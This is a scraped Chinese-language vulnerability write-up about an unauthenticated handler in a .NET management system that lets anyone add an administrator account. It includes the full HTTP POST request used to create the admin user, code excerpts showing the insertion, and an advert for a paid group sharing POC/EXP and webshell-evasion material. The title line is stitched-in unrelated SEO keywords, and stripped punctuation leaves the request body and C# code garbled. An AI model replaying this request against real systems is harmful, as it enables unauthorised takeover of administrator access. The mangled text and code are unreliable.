动态电子商务网站建设报告,网站做移动适配,网上商城平台建设,网站建设合同是否缴纳印花税01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等#xff08;包括但不限于#xff09;进行检测或维护参考#xff0c;未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失#xf…01阅读须知
此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等包括但不限于进行检测或维护参考未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失均由使用者本人负责。本文所提供的工具仅用于学习禁止用于其他方面
02漏洞背景 03漏洞复现
近日外部公开渠道爆出该系统的System**.as**接口存在敏感信息泄露漏洞可导致攻击者添加后台管理员账户和密码。具体的数据包如下所示。
POST /System**.as** HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/top.html
Connection: close
Cookie: ASP.NET_SessionIdwhnrkuaqbz0lyv1fb
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 175operator**testoperator**123456operpassword123456operatorRole00visible_jh%E8%AF%B7%E9%80%89%E6%8B%A9visible_dorm%E8%AF%B7%E9%80%89%E6%8B%A9funcNamead**上述请求构造的POST请求包含了新增账户和两次确认的密码发送请求后在页面返回显示1表示成功添加管理员账户。
04漏洞分析
存在漏洞的是一个Handler经过分析得知代码隐藏在New**.System**类名中首先从HTTP请求的表单数据中获取operatorName、operatorPwd、operatorRole等参数。
string operatorName context.Request.Form[operatorName];
string operatorPwd context.Request.Form[operatorPwd];
string operatorRole context.Request.Form[operatorRole];
string visible_jh context.Request.Form[visible_jh];随后下面代码调用了SystemMngBLL类中的addOperators方法并传入提取的表单数据作为参数。该方法返回一个整数该整数被转换为字符串并存储在rtnStr中。
rtnStr SystemMngBLL.addOperators(operatorName, operatorPwd, operatorRole, visible_jh).ToString();接着下面业务逻辑层 (BLL) 中的方法调用了同名的数据访问层 (DAL) 方法实际上是一个传递操作。与数据库交互的实际工作由DAL负责。
public static int addOperators(string operatorName, string operatorPwd, string operatorRole, string visible_jh)
{return SystemMngDAL.addOperators(operatorName, operatorPwd, operatorRole, visible_jh);
}然后该方法构建了一个SQL命令如果数据库中不存在相同用户名的操作员则将其插入数据库。
public static int addOperators(string operatorName, string operatorPwd, string operatorRole, string visible_jh)
{string sqlStr if not exists(select * from qx where usernameusername)\r\n insert qx(username, password, qx, memo, people_node,visible_jh) values(username,password, 1111111111111111111111111, , people_node,visible_jh);SqlParameter[] p new SqlParameter[]{new SqlParameter(username, operatorName),new SqlParameter(password, operatorPwd),new SqlParameter(visible_jh, visible_jh),new SqlParameter(people_node, operatorRole)};return SqlHelper.ExecuteNonQuery(SqlHelper.dbCon, CommandType.Text, sqlStr, p);
}插入一个新记录包含提供的username、password、固定的qx值可能代表权限、空的memo、people_node角色和visible_jh可见性。
星球持续更新最新的 .NET 应用漏洞POC并在每年HW期间提供一手漏洞情报。这些POC/EXP涵盖了一些0day和1day漏洞确保您始终掌握最前沿的安全信息和防护措施。 05.NET安全星球
星球汇聚了各行业安全攻防技术大咖并且每日分享.NET安全技术干货以及交流解答各类技术等问题社区中发布很多高质量的.NET安全资源可以说市面上很少见都是干货。 20个专题栏目涵盖了点、线、面、体等知识面助力师傅们快速成长其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。 我们倾力打造专刊、视频等配套学习资源循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。